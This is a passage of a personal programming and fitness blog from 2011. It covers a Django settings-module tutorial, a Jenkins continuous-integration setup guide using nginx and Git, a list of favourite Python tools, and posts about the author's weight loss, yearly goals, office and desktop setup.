Write a Settings Module

Instead of maintaining multiple flat settings files, build a settings module. Go ahead and rm your settings.py file, and in its place, create a new directory, called settings, and put in a blank __init__.py file to start.

The goal here will be to do meet all the criteria that I defined in the beginning of this article. In order to meet all those requirements, we need to:

Define a common.py file inside of our settings module. This file will contain all of our ‘shared’ settings between all environments. For example:

"""Common settings and globals."""


import sys
from os.path import abspath, basename, dirname, join, normpath

from helpers import gen_secret_key


########## PATH CONFIGURATION
# Absolute filesystem path to this Django project directory.
DJANGO_ROOT = dirname(dirname(abspath(__file__)))

# Site name.
SITE_NAME = basename(DJANGO_ROOT)

# Absolute filesystem path to the top-level project folder.
SITE_ROOT = dirname(DJANGO_ROOT)

# Absolute filesystem path to the secret file which holds this project's
# SECRET_KEY. Will be auto-generated the first time this file is interpreted.
SECRET_FILE = normpath(join(SITE_ROOT, 'deploy', 'SECRET'))

# Add all necessary filesystem paths to our system path so that we can use
# python import statements.
sys.path.append(SITE_ROOT)
sys.path.append(normpath(join(DJANGO_ROOT, 'apps')))
sys.path.append(normpath(join(DJANGO_ROOT, 'libs')))
########## END PATH CONFIGURATION


########## DEBUG CONFIGURATION
# Disable debugging by default.
DEBUG = False
TEMPLATE_DEBUG = DEBUG
########## END DEBUG CONFIGURATION


########## MANAGER CONFIGURATION
# Admin and managers for this project. These people receive private site
# alerts.
ADMINS = (
 ('Your Name', 'your_email@example.com'),
)

MANAGERS = ADMINS
########## END MANAGER CONFIGURATION


########## GENERAL CONFIGURATION
# Local time zone for this installation. Choices can be found here:
# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name although not all
# choices may be available on all operating systems. On Unix systems, a value
# of None will cause Django to use the same timezone as the operating system.
# If running in a Windows environment this must be set to the same as your
# system time zone.
TIME_ZONE = 'America/Los_Angeles'

# Language code for this installation. All choices can be found here:
# http://www.i18nguy.com/unicode/language-identifiers.html.
LANGUAGE_CODE = 'en-us'

# The ID, as an integer, of the current site in the django_site database table.
# This is used so that application data can hook into specific site(s) and a
# single database can manage content for multiple sites.
SITE_ID = 1

# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = False

# If you set this to False, Django will not format dates, numbers and
# calendars according to the current locale.
USE_L10N = True
########## END GENERAL CONFIGURATION


########## MEDIA CONFIGURATION
# Absolute filesystem path to the directory that will hold user-uploaded files.
MEDIA_ROOT = normpath(join(DJANGO_ROOT, 'media'))

# URL that handles the media served from MEDIA_ROOT.
MEDIA_URL = '/media/'
########## END MEDIA CONFIGURATION


########## STATIC FILE CONFIGURATION
# Absolute path to the directory static files should be collected to. Don't put
# anything in this directory yourself; store your static files in apps' static/
# subdirectories and in STATICFILES_DIRS.
STATIC_ROOT = normpath(join(DJANGO_ROOT, 'static'))

# URL prefix for static files.
STATIC_URL = '/static/'

# URL prefix for admin static files -- CSS, JavaScript and images.
ADMIN_MEDIA_PREFIX = '/static/admin/'

# Additional locations of static files.
STATICFILES_DIRS = (
 normpath(join(DJANGO_ROOT, 'assets')),
)

# List of finder classes that know how to find static files in various
# locations.
STATICFILES_FINDERS = (
 'django.contrib.staticfiles.finders.FileSystemFinder',
 'django.contrib.staticfiles.finders.AppDirectoriesFinder',
 #'django.contrib.staticfiles.finders.DefaultStorageFinder',
)
########## END STATIC FILE CONFIGURATION


########## TEMPLATE CONFIGURATION
# List of callables that know how to import templates from various sources.
TEMPLATE_LOADERS = (
 'django.template.loaders.filesystem.Loader',
 'django.template.loaders.app_directories.Loader',
 #'django.template.loaders.eggs.Loader',
)

# Directories to search when loading templates.
TEMPLATE_DIRS = (
 normpath(join(DJANGO_ROOT, 'templates')),
)
########## END TEMPLATE CONFIGURATION


########## MIDDLEWARE CONFIGURATION
MIDDLEWARE_CLASSES = (
 'django.middleware.common.CommonMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.middleware.csrf.CsrfViewMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'django.contrib.messages.middleware.MessageMiddleware',
)
########## END MIDDLEWARE CONFIGURATION


########## APP CONFIGURATION
INSTALLED_APPS = (
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.sites',
 'django.contrib.messages',
 'django.contrib.staticfiles',

 # Admin panel and documentation.
 'django.contrib.admin',
 'django.contrib.admindocs',

 # South migration tool.
 'south',

 # Celery task queue.
 'djcelery',

 # django-sentry log viewer.
 'indexer',
 'paging',
 'sentry',
 'sentry.client',
)
########## END APP CONFIGURATION


########## CELERY CONFIGURATION
import djcelery
djcelery.setup_loader()
########## END CELERY CONFIGURATION


########## URL CONFIGURATION
ROOT_URLCONF = '%s.urls' % SITE_NAME
########## END URL CONFIGURATION


########## KEY CONFIGURATION
# Try to load the SECRET_KEY from our SECRET_FILE. If that fails, then generate
# a random SECRET_KEY and save it into our SECRET_FILE for future loading. If
# everything fails, then just raise an exception.
try:
 SECRET_KEY = open(SECRET_FILE).read().strip()
except IOError:
 try:
 with open(SECRET_FILE, 'w') as f:
 f.write(gen_secret_key(50))
 except IOError:
 raise Exception('Cannot open file `%s` for writing.' % SECRET_FILE)
########## END KEY CONFIGURATION

Define as many environment-specific settings files as you need. Just make sure to import from common at the top of your file. For example–here’s a dev.py file:

"""Development settings and globals."""


from common import *
from os.path import join, normpath


########## DEBUG CONFIGURATION
DEBUG = True
TEMPLATE_DEBUG = DEBUG
########## END DEBUG CONFIGURATION


########## EMAIL CONFIGURATION
EMAIL_BACKEND = 'django.core.mail.backends.dummy.EmailBackend'
########## END EMAIL CONFIGURATION


########## DATABASE CONFIGURATION
DATABASES = {
 'default': {
 'ENGINE': 'django.db.backends.sqlite3',
 'NAME': normpath(join(SITE_ROOT, 'db', 'default.db')),
 'USER': '',
 'PASSWORD': '',
 'HOST': '',
 'PORT': '',
 }
}
########## END DATABASE CONFIGURATION


########## CACHE CONFIGURATION
CACHES = {
 'default': {
 'BACKEND': 'django.core.cache.backends.dummy.DummyCache',
 }
}
########## END CACHE CONFIGURATION


########## DJANGO-DEBUG-TOOLBAR CONFIGURATION
MIDDLEWARE_CLASSES += (
 'debug_toolbar.middleware.DebugToolbarMiddleware',
)

INSTALLED_APPS += (
 'debug_toolbar',
)

# IPs allowed to see django-debug-toolbar output.
INTERNAL_IPS = ('127.0.0.1',)

DEBUG_TOOLBAR_CONFIG = {
 # If set to True (default), the debug toolbar will show an intermediate
 # page upon redirect so you can view any debug information prior to
 # redirecting. This page will provide a link to the redirect destination
 # you can follow when ready. If set to False, redirects will proceed as
 # normal.
 'INTERCEPT_REDIRECTS': False,

 # If not set or set to None, the debug_toolbar middleware will use its
 # built-in show_toolbar method for determining whether the toolbar should
 # show or not. The default checks are that DEBUG must be set to True and
 # the IP of the request must be in INTERNAL_IPS. You can provide your own
 # method for displaying the toolbar which contains your custom logic. This
 # method should return True or False.
 'SHOW_TOOLBAR_CALLBACK': None,

 # An array of custom signals that might be in your project, defined as the
 # python path to the signal.
 'EXTRA_SIGNALS': [],

 # If set to True (the default) then code in Django itself won't be shown in
 # SQL stacktraces.
 'HIDE_DJANGO_SQL': True,

 # If set to True (the default) then a template's context will be included
 # with it in the Template debug panel. Turning this off is useful when you
 # have large template contexts, or you have template contexts with lazy
 # datastructures that you don't want to be evaluated.
 'SHOW_TEMPLATE_CONTEXT': True,

 # If set, this will be the tag to which debug_toolbar will attach the debug
 # toolbar. Defaults to 'body'.
 'TAG': 'body',
}
########## END DJANGO-DEBUG-TOOLBAR CONFIGURATION


########## CELERY CONFIGURATION
INSTALLED_APPS += (
 'djkombu',
)

BROKER_BACKEND = 'djkombu.transport.DatabaseTransport'
########## END CELERY CONFIGURATION

When you’re using any sort of management command, just specify the settings module you want to use. For example: instead of running python manage.py syncdb, you would do python manage.py syncdb --settings=settings.dev. Same goes with runserver, or any other command.

As you can see, the benefits of a settings module are numerous, and meet all of our requirements. We’re able to have our cake (by version controlling all environment specific settings) and eat it too (by choosing which one to use simply via our application server).

I’ve been working on numerous Django projects for around 2 years now, and I’ve not found any better ways to do it.

UPDATE: Since writing this article, I’ve created a really neat generic Django project that you can use as a project base. It’s called django-skel, and you can check it out on the official project GitHub Page. It contains (among other things) examples of a production ready settings module. Take a look!

2011 Yearly Goals Update 1

r@rdegges.com (Randall Degges) — Sun, 24 Apr 2011 00:00:00 -0700

Early this year I wrote a post outlining my goals for the year. Since April is almost over, I thought I’d do my first follow-up to let you know what I’ve accomplished so far, and to put my goals into perspective.

Reading Habit

The first goal I listed in my previous post was to start a new reading habit– to read for at least 30 minutes a day. When the new year started, this was the first thing I tackled. I forced myself to read 30 minutes a day for the first month, and since then, it’s been automatic.

I’m especially glad I’ve followed through with this goal already, as I’ve been getting a great deal of value out of it. So far I’ve learned lots of new things, and have really opened my mind a lot.

Exercise Habit

Another goal of mine was to start a new exercise habit, and consistently exercise 30 minutes a day 5 times a week. From January to February, I did quite a bit of jogging, and a small amount of weightlifting 6 days a week (Monday -> Saturday). In February I joined Team CrossFit, and started doing it 4 days a week.

Since then, I’ve been exercising (usually) 5 or 6 days a week. If I can’t make it to a CrossFit session (which has happened quite a bit), I’ll do some weights in the gym, bike a few miles, or walk / jog for at least 30 minutes on the treadmill.

Since January, I’ve been feeling much healthier, happier, and stronger. Although I haven’t consistently met my goal of 5 days a week, I’m confident that I’ll have it 100% down to habit in the next few months.

Stop Consuming Soda / Energy Drinks

I also wrote in my yearly goal post that I wanted to completely cut soda and energy drinks out of my diet. I’m happy to say that I have completely removed all soda from my diet. It’s been a long time since I’ve had soda now, and I’ve completely stopped craving it.

From January ’till the past month, I had also cut energy drinks out of my diet entirely (I would take caffeine pills instead). This month, however, I discovered the joy of no-carb energy drinks. They taste great, have only 10 calories, and 0 carbs. I’m not completely sure why (probably due to my long history of bad habits), but I get a lot of enjoyment out of sipping on energy drinks through the day (especially while programming).

I still plan on phasing energy drinks out of my diet before the end of the year, but for now I’m happy that I’ve found some which aren’t nearly as damaging to my health as the ones I used to drink daily.

Lose 1lb Per Week

Another one of my ambitious goals this year was to lose 1lb of bodyweight per week (minimum). I’m extremely happy to say that I’ve repeatedly accomplished this goal so far. While it’s true that some weeks I’ve not lost weight, or even gone up a pound or two, the overall trend has been downwards at a rate of more than 1 lb per week. Since the year started I’ve lost 30lbs. We’re about 16 weeks into the new year right now, which puts me at an average loss of nearly 2lbs per week.

I’m currently 230.7 lbs, and want to get down to 175 lbs before starting serious bodybuilding training.

Launch a Paid Service

In my previous post I mentioned that I wanted to launch some sort of paid service. My motivation for this was to help improve my overall skills as an entrepreneur / engineer, and overcome the initial barrier of launching a product for the first time.

To me, building my own products and services is a dream that I hope to someday accomplish. I’ve not even started on this goal yet, but as 2012 draws closer I’m feeling more anxious, and plan to start on it soon.

I’ll be sure to give you all some updates as I begin to work on some sort of service.

Make the Best Partylines

At my work, one of our large projects over the past couple years has been partylines. This year I told myself I wanted to make them the best partylines in order to crush the competition. Unfortunately, I haven’t had too much time to work on them since the year started, so I haven’t made too much progress in this area. However, we plan on launching the ambitious v2 of our partyline systems sometime in the next week or so, and that should be a fresh start, and should help push improvements forward over the coming months.

For my next update, I’ll go into more detail about this goal, as I believe by then we’ll have something completed.

Launch GlobalRoute

My work’s VoIP company (GlobalRoute) hasn’t been launched yet. It’s been in beta for a while, but got pushed aside to make time for other more urgent projects. I’m still hopeful that this can be launched this year, so more information about this will have to wait until the next update.

Give a Technical Presentation

I haven’t done this yet, mostly due to lack of time. However, this year I’m definitely going to give at least one presentation at a tech meet up. I’ll try to do this before my second update!

Travel

This year I planned on visiting several places. So far I’ve gone to two of them, and I’ve still got 4 left :)

San Francisco
Hawaii
Portland
Seattle

Feelings

I feel like this year has been a great year so far. I’ve still got a lot I want to accomplish before the year is up, and I plan on aggressively meeting all of my goals before then. Over the past 4 months I’ve had a lot of great opportunities to make myself a better person, and so far I feel I’ve been doing a decent job at it.

Hopefully by the next update, I’ll have wiped even more goals off my list!

Essential Tools for Pythonistas

r@rdegges.com (Randall Degges) — Sun, 17 Apr 2011 00:00:00 -0700

Pythonistas need a lot of good tools in order to work efficiently. I’d like to take a few minutes to enumerate some of my favorite tools that help me write better Python code faster.

GitHub

Although you’re likely already using Github for hosting all of your projects (both open source, and closed source), if you aren’t, you need to seriously reconsider what you are doing with your life. GitHub is an extremely useful platform for hosting Git projects. It provides lots of great tools for making your project easy to work on, easy to get assistance with, easy to discover, and tons of other things.

Vim + pyflakes

Ok, so Vim may not be entirely necessary, but pyflakes definitely is. pyflakes is an awesome python project that integrates with Vim, and allows you to check for interpreter errors in your python code live (as you are coding). This is immensely useful when working on large projects, as you almost never need to actually run your code to find basic errors–your Vim terminal will simply highlight the problematic source line red, and provide you with a nice little error description so that you can fix it without ever running it.

Furthermore, pyflakes is fast. As you code it’ll show exceptions in a non-invasive way, which makes it excellent for fixing errors quickly without disturbing your train of thought.

Here’s a little screen shot of pyflakes in action:

Sphinx

Writing good documentation is essential for good projects. Good technical documentation is what separates decent projects from amazing projects. If you provide clear, useful documentation for your project’s users, then you are far more likely to get good involvement from other programmers, and are much more likely to get positive exposure.

Sphinx (a pocoo project) is the best tool around for generating beautiful documentation for technical projects. It allows you to write simple reStructuredText markup (a plain text format), which it compiles into beautiful HTML pages and PDF documents. It comes with several built-in themes, so you can even choose a look that suits your project’s personality. Furthermore, extending Sphinx and writing custom themes is very simple–just add a CSS file, and you can easily change the entire look and feel of your documentation.

Read The Docs

ReadTheDocs is a relatively new (and highly regarded) Sphinx documentation hosting site. It provides free documentation hosting for Sphinx projects, which makes sharing your project’s documentation even easier.

Having great documentation is awesome, having great and easily accessible documentation is even more awesome.

ReadTheDocs allows you to host all of your projects’ documentation in a single location, as well as automatically build your project documentation whenever you make updates, and lots of other goodies. If you aren’t using it, you should be.

virtualenv

As any frequent Python programmer will tell you, having tons of Python packages installed on your OS of choice is a pain-in-the-ass. Projects all require various versions of dependencies, and having your OS cluttered with conflicting versions of packages is incredibly frustrating virtualenv makes this problem go away.

virtualenv provides isolated package environments that you can install Python packages to. This way, each project you work on can have its own mini working environment, completely isolated from the rest of your system.

Ideally, you should be using virtualenv with the infamous virtualenvwrapper.

Simple Continuous Integration / Deployment With Jenkins

r@rdegges.com (Randall Degges) — Sun, 10 Apr 2011 00:00:00 -0700

At work we rely heavily on continuous integration and deployment to help us deliver lots of code into production and staging environments quickly. In a typical day, we’ll make something like 15 deployments to at least one or two of our projects.

The software we use to manage this is crucial to us, as programmers, because it makes our lives much easier. Instead of manually running large test suites against remote servers, we just let our CI system run the tests as soon as we push our code to GitHub, and once our tests pass, deploy the code live :)

Today I’m setting up a new Jenkins CI server for work, to move off our old Hudson server, so I figured this would be a good time to blog about the process, as it’s so extremely helpful to us that I can’t imagine ever programming without it again.

For the rest of this tutorial, I expect that you:

Are using Ubuntu server or Debian server as your operating system.
Are familiar with the Linux command line.
Know what continuous integration and continuous deployment are.
Have some code to test deploy.

Installing Jenkins

Installing Jenkins is ridiculously easy on Debian systems:

$ wget -q -O - http://pkg.jenkins-ci.org/debian/jenkins-ci.org.key | sudo apt-key add -
$ sudo echo "deb http://pkg.jenkins-ci.org/debian binary/" > /etc/apt/sources.list.d/jenkins.list
$ sudo aptitude -y update
$ sudo aptitude -y install jenkins

Congratulations, you now have Jenkins running! To visit your new Jenkins instance, just visit http://youserverip:8080/. If you want to update it, you can do so with the rest of the system (via aptitude -y update; aptitude -y safe-upgrade).

Configure a HTTP Proxy With NGINX

Since Jenkins by default runs on port 8080, I like setting up an HTTP proxy so to that I can access it on port 80. My weapon of choice for proxying is NGINX, so let’s set that up now:

$ sudo aptitude -y install nginx
$ cd /etc/nginx/sites-available
$ sudo rm default
$ sudo cat > jenkins
upstream app_server {
 server 127.0.0.1:8080 fail_timeout=0;
}

server {
 listen 80;
 listen [::]:80 default ipv6only=on;
 server_name ci.yourcompany.com;

 location / {
 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 proxy_set_header Host $http_host;
 proxy_redirect off;

 if (!-f $request_filename) {
 proxy_pass http://app_server;
 break;
 }
 }
}
^D # Hit CTRL + D to finish writing the file
$ sudo ln -s /etc/nginx/sites-available/jenkins /etc/nginx/sites-enabled/
$ sudo service nginx restart

Now you should be able to visit http://ci.yourcompany.com/ and see your Jenkins instance on the default HTTP port 80.

Secure Jenkins

Jenkins has built-in user account management, which makes it easy to lock your interface down. Below, we’ll create two accounts: admin and rdegges. admin will have full permissions to the projects, and rdegges will only be able to view project statuses, but not update any settings or make project changes. Changing the security rules for your environment are pretty intuitive, once you see how it works:

Click the Manage Jenkins link on the left side of your page.
Click the Configure System link.
Check the box labeled Enable security.
Select the bubble labeled Jenkins’s own user database.
Select the bubble labeled Matrix-based security.
Enter admin in the text box labeled User/group to add then click Add.
Enter rdegges in the text box labeled User/group to add then click Add.
For admin, check all the square boxes that run horizontally. This allows the admin user to do anything.
For rdegges, check only the square boxes labeled Read.
Scroll to the bottom of the page and click the Save button.

If you did everything properly, your page should look something like this:

Now that you’ve applied some rules, you need to actually create the two user accounts you supplied rules for. On the main Jenkins page, click the Create an account link, and create two accounts–one for admin, and one for rdegges. Note that when you log into each of these accounts, they have the permissions you supplied earlier. If you want to change permissions, just log in as the admin user, and go through the same steps above.

Install and Configure Git

The core functionality of Jenkins is to use some form of version control software (I use Git) to check out some release of code, and then do stuff with it. Below, we’ll setup Git on our server, and in Jenkins, so that we can check out all of our Git projects.

Firstly, you’ll want to run the following commands on your server to install Git. You’ll obviously need to make changes to this code for your environment:

$ sudo aptitude -y install git
$ sudo su - jenkins
$ git config --global user.name "Jenkins CI"
$ git config --global user.email "ci@yourcompany.com"
$ ssh-keygen -t rsa -C "ci@yourcompany.com" # Use all the default options, don't specify
 # a password.
$ cat .ssh/id_rsa.pub # Grant this SSH key access to your Git repositories.

# If you're using github, you'll also want to do:
$ ssh git@github.com
# And accept the connection so that you add github.com to your known_hosts file.

Once you’ve done all that, all you need to do is follow the next few steps in the web panel:

From the main page, click the Manage Jenkins link.
Click the Manage Plugins link.
Click the Advanced tab.
Click the Check Now button.
Click the Back to Dashboard link.
Click the Manage Jenkins link.
Click the Manage Plugins link.
Click the Available tab.
Check the box labeled Git Plugin (it’s towards the bottom of the page).
Scroll to the bottom of the page and click the Install button.
Once the plugin has been installed, click the Restart When No Jobs Are Running button.

You’ve now got Git ready to roll.

Configure a Project

In this step we’ll configure Jenkins to check out the latest copy of our project’s code, run the test suite, and then deploy our code live into production. It’s a lot easier than it sounds, let’s take a look:

Click the New Job link.
Enter your project’s name into the Job name box.
Select the Build a free-style software project link.
Click the OK button.
Under the Source Code Management section, select the bubble next to Git.
Enter the URL of your Git repository. This is usually something like: git://github.com/rdegges/django_project.git.
Under the Build Triggers section, select the box labeled Poll SCM.
In the Schedule box that appears, enter * * * * * (don’t include the quotes). This instructs Jenkins to check your Git repository for changes every minute. If you want to change the frequency, feel free to do so using crontab format.
Under the Build section, click the Add Build Step button, then select Execute shell.
In the Command box that appears, enter your commands to build, test, and deploy your software.
Scroll to the bottom of the page and click the Save button.

That’s it! Jenkins will now automatically poll your Git repository every minute for changes. If any code was changed, it will check out the latest version of your code, then execute the commands you specified as build steps–which should be testing and deploying your code.

If you go back to the main page, you’ll be able to view the status of all your projects, and click through to see detailed information about builds, errors, and lots of other neat stuff.

RTFM

Obviously, a 5 minute walk-through is no excuse for not learning how to use Jenkins properly. If you want to learn how to make the best use of Jenkins, and experiment with the hundreds of awesome plugins that it has, be sure to read the official documentation.

Building a Better Body

r@rdegges.com (Randall Degges) — Sun, 03 Apr 2011 00:00:00 -0700

Since last October I’ve been trying to build a better body. In September, I was somewhere near 300lbs and extremely out of shape. In October I started experimenting with rudimentary diet and exercise routines to measure their success.

What I discovered really surprised me: it is relatively easy to get quick results. It doesn’t take forever. Even running a few times a week, and making light changes to your diet can have profound effects. The first thing I did when I started was I did some jogging at a park near my house for blocks of 15 to 20 minutes (all I could do, really). Eventually I also started eating lighter (lots of salads and breads) instead of fast food and sandwiches. Within the first month I’d lost about 10lbs, and was feeling much healthier.

Since I was seeing results, I decided to start reading some fitness books on various topics and educate myself a bit. As a programmer, the first book I read was The Hacker’s Diet. It’s a famous book with engineers as it takes a pragmatic approach to weight loss. Highly recommended for tech-minded folks. I also read through The Paleo Solution, which was the first book that really taught me about the benefits of low-carb in a straightforward way (also: if you’re looking for a good book on paleo or low-carb diets, check this one out. It’s simple, and really interesting if you’ve never read up on the subject before.). Then I read the classic book Good Calories, Bad Calories, which goes into more depth about the low-carb stuff, why it works the way it does, and how you can use it to your benefit.

After reading some good fitness books, I re-evaluated my approach to weight loss. I decided to adapt the “Hacker’s Diet” approach and just count calories. I made an account on DailyBurn and started tracking everything I ate. I started with a -1000 calorie per day deficit, and gradually lost weight and got to the point I am at now (235 lbs). It wasn’t always easy, I had lots of cheat days in between, and learned a lot along the way about exercise, fitness, and health.

Now that I’m at 235lbs, I’m going finish up my journey and reach my first major goal: 180lbs. For the past week I’ve been creating a game plan for reaching 180lbs, which I’ll share here. For the remainder of my diet, I’m going to be entering ketosis.

In a nutshell, I’ll be consuming less than 30g of carbohydrates in my diet each day. This will force my body to switch its fuel source from sugars (carbohydrates) to fats (fat tissue, and fats in food). This basically makes losing fat a lot faster as you’re only losing fat, and not muscle.

In addition to staying on ketosis from tomorrow until I’m 180lbs, I’m also upgrading my exercise routine a bit. I’m doing 30 minutes of cardio in the mornings before breakfast, and doing CrossFit 5 days a week in the evenings to help burn calories and build muscle.

Hitting 180 is a bit deal for me. Once I hit 180lbs I’m having a little party, and celebrating my discipline by getting the tattoos I’ve wanted for years. Then it’s off to hit my next fitness goals which include a lot of weights and bodybuilding.

To everyone who wants to get in shape, just do it. It’s all in the mind.

I’ll leave you all with this awesome music video from Dead Prez.

5 Things Programmers Can Learn From Bodybuilders

r@rdegges.com (Randall Degges) — Sat, 26 Mar 2011 00:00:00 -0700

Programming is hard. Whether you do it for fun, for money, for fun & money, or whether someone has a gun pointed at your head and is forcing you to program… It ain’t easy.

There are a lot of things you need to know. You can never rest, never stop learning, and never stop coding if you want to be great. The best programmers are the ones who fearlessly tackle problem after problem, every day, and gradually learn the patterns, tricks, and tools that help them do their work better.

The sport of bodybuilding can teach us (as programmers) a lot about ourselves.

Nothing Great Comes Easily

In life, nothing great comes easily. It doesn’t matter how much of an advantage or disadvantage you have–everyone must work for their success and fight to get what they want. Whether you want to be the greatest programmer in the world, or the largest bodybuilder, it requires lots of sacrifice, struggle, and time.

Bodybuilders spend years working on their physiques. They have to eat lots of healthy food, workout almost every day, push themselves beyond their physical limits, and fight through immense pain. As programmers, we need to adapt this practice. There are no perfect programmers, there are only programmers who continue working hard to become better, faster, and more creative. If you want to be a better programmer, you need to program, every single day.

Be Consistent

Consistency is the largest ingredient in success. Bodybuilders spend years (literally) working out every single day. Doing lifts, cardio, eating proper foods. Dorian Yates (a famous bodybuilder) famously said: “Moderation in bodybuilding is a vice, moderation is discipline is a failure.” In order to keep improving as a person, you need to be consistent.

Regardless of your natural aptitude for something, whether it be programming or bodybuilding, work consistently towards your goals and you will reach them. To not be consistent is to commit suicide. It may be hard to wake up every morning and program, or hit the gym, but that dedication is what pushes you past your natural limits and helps your mind and body continue to grow.

Know What You Want

One of the most difficult things to figure out is what you really want in life. Do you want to be the strongest person alive? The most successful programmer in the world? Make over a million dollars a year? It isn’t easy to figure out what you want to accomplish in your life, but it is crucial in becoming a more successful person.

Bodybuilders strive to build the perfect physique. They want to have perfect physical symmetry and defined muscle groups. Training for bodybuilding is intense, it requires lots of meticulous planning, and an exact physique to strive for. They know exactly how large they need to their waste, biceps, chest, and thighs to be. They have clearly defined targets that they work to reach day after day.

In order to be a successful programmer, you should also know exactly what you want. You should know the technologies you need to learn, what sorts of apps you want to be able to build, and have a scale to measure your success along the way. Having clear goals gives you something to work towards everyday and helps keep you focused.

Learn From Those Around You

Don’t ignore those around you. Use knowledge you get from other people to increase your effectiveness in whatever you do.

Isaac Newton was famous for saying: “If I have seen a little further it is by standing on the shoulders of Giants.”

What Newton means of course is that to be great you should use the knowledge that those before you have discovered, and continue from where they left off.

Bodybuilders in particular use this practice often. They learn about techniques, nutrition, and supplementation from other bodybuilders who have experimented along the way. They constantly strive to pick up where others have left off and find new and more effective ways to push their bodies beyond their limits in order to achieve the perfect physique and frame that they want.

In programming, we often prefer to do things “our way”, whether it ignores previous research or not. To be a good programmer, you need to know when to ignore advice from others, and when to use it to your advantage. You need to be able to analyze the techniques of your colleagues, and build upon what they have done.

Once you’ve learned to accept outside influence you can develop your skills much faster and more effectively, but when you stop absorbing knowledge you lose this edge.

Always Go For the Win

Bodybuilders need to break through mental and physical barriers everyday. In order to win competitions, they go to extraordinary lengths that most people would consider crazy. Ask any champion bodybuilder how they train, and they will tell you that they train to win. Anything less is unacceptable. This practice applies to programming as well.

When you start working on your application, give it 100% of your energy and effort and nothing less. Don’t aim for the minimum you can get away with, aim for perfect every single time. Only by working as hard as you possibly can every time you sit down will you be able to achieve great things. Building software is complex and tiring, and requires great dedication, effort, and passion to be successful.

Let’s face it, we build software for users. What separates bad software, from ok software, from good software, from amazing software–is the little things. Don’t take shortcuts in your work. Always deploy kickass software, and you will never fail. As long as you give it 100% of your effort you can’t go wrong.

Bodybuilding like programming requires a lot of effort, patience, and passion. As programmers, we can learn a lot from bodybuilers, to help us reach new levels of technical ability.

Always keep pushing yourself beyond your limits, and you will achieve great things.

My New Office

r@rdegges.com (Randall Degges) — Wed, 16 Mar 2011 00:00:00 -0700

As a programmer, I spend a lot of time in my office. It’s my sanctuary. It’s where I do all of my work, where I learn a lot of new things, and where I have a lot of fun.

Since I moved into my new apartment several months back, I’ve had a pretty decent setup. I had a 6-foot Costco desk (hey, they’re only 50$), and used that to hold all of my stuff. It wasn’t pretty–but it worked. A few days ago Sami and I were at Office Depot and I saw a desk I couldn’t leave behind, so I ordered it. Yesterday it arrived, and I finally got it all built and setup (with the help of Sami, and my sister). It’s a large corner desk and a new cedar / leather chair. Definitely a step up.

I decided to take pictures of the whole thing (my old desk, me cleaning out the room, me building the new desk and chair, and the final result). Let me know what you think! I love checking out other people’s workplaces, and I hope you enjoy mine!

Don't Get Too Cocky

r@rdegges.com (Randall Degges) — Sun, 06 Mar 2011 00:00:00 -0800

I learned an important lesson a few months ago, and thought I’d share. Don’t get too cocky.

For the longest time I considered myself a good programmer. In university, I would wait till the last minute to finish my computer science projects as I already knew how to do them, and when working on other projects I’d generally spend 99% of my time researching new things, and only 1% of my time actually doing them. I got cocky.

In my head, I was able to justify my actions: “I already know this stuff. No reason why I should bother starting early because it’s a piece of cake.” I remember sitting in the lab at 2am in the morning the day before my project was due hacking away–thinking of all the other “normal” people in my class who were working on the project the entire week. “What fools!” I thought.

Unfortunately, while being cocky is sometimes a positive force, more often then not it blows up in your face. I realized this several months ago when trying to design a simple web page for work. I’ve never been a real designer. I’ve always considered myself a strictly “back-end” developer. Most of my work and fun comes from coding the low-level components. Years ago, when I first started working on web-type stuff, I dismissed HTML and CSS as beginner’s toys: “They aren’t real programming languages. They’re only for displaying data. Any monkey can make a template.” When I began working on my template for work, I realized how wrong I was.

It’s easy to criticize and dismiss things that look “easy” without ever really working on them to accomplish something. In my case, trying to build this simple template for work turned out to be one of the most frustrating experiences in my life. I spent far over 100 hours writing a template for the site, and it was one of the ugliest things imaginable. What made it worse, of course, is that I knew what I wanted it to look like, but because of my lack of care for the technology, I couldn’t build what I wanted.

Lesson learned.

This month I’m actually going back and starting fresh again with HTML and CSS. I decided to take them seriously this time around, and really learn it properly. My goal is to eventually re-write the work template I failed at a few months ago, and become good enough to build designs for myself, and not rely on outside help.

I think that being humble is a great quality to have. While being cocky can sometimes give you the confidence to do something, being humble gives you the mindset to continue doing things, and get progressively better at them over time.

Regardless of how awesome you are, don’t let it get to your head.

My Desktop Environment

r@rdegges.com (Randall Degges) — Sat, 12 Feb 2011 00:00:00 -0800

I love reading about the tools that other people use daily, what sort of editors they use, what software they consider essential, how they use it, and why. I’ve never taken the time to do a write up about the tools I use, so I figured this weekend would be as good a time as any.

General Environment Information

Computer: Desktop (custom built). 16GB RAM, 2TB disk, wired Ethernet, quad core Intel core 7 CPU, nVidia GeForce GTX 285.
OS: Kubuntu 10.10 64-bit (latest).
Monitors: 2x Hanns-G 26" 1080p LCD monitors.
Speakers: Creative 2.1.
Keyboard: Logitech Illuminated Keyboard.
Mouse: Logitech Performance MX.
Amplifier: FIIO E9 / E7.
Headphones: Sennheiser HD598.
Reading: Kindle DX (latest).
Phone: HTC G2 (Android 2.2)

I prefer using a desktop over a laptop. I’ve never really been a fan of laptops. They are annoying to carry around, I don’t like plugging stuff into them, and I don’t like touch pads (they interfere with my typing). I build a new desktop every year, and the one I have now is great. I’ve got a large desk (6" wide) from Costco that I use, and it’s large enough to house both of my 26" monitors, speakers, a USB hub, and my amps with plenty of desk space left over.

I love having two monitors. I’m a big fan of huge workspaces, it helps me navigate work much easier. I’ll typically keep Vim full screen on one, and chrome / music / TV on the other, depending on what I’m currently working on.

My keyboard and mouse are both Logitech. Since I’m a programmer, I sit at a computer most of the day. I’ve used various types of keyboards and mice through the years, but these are my favorites. The illuminated keyboard is perfect. It’s slim, has a full number pad, perfect lighting for night-time hacking, and soft keys that have just the right amount of tension, so it feels good to type on. The Performance MX mouse is also a favorite. I hate having mouse cords run across my desk, but also hate most wireless mice because they’ll get periodically choppy–not this one. The Performance MX is really smooth, and responds perfectly even after long periods of inactivity. It also lasts a good three days on a single charge, and only takes about 10 minutes to fully charge.

The Sennheiser headphones are awesome. I only acquired them recently, but they completely changed my coding experience. They completely isolate your from the outside world, and provide really smooth bass and a clear listening experience. I often code wearing headphones through the day, and the difference between these and my old 50$ makes it totally worth the cost.

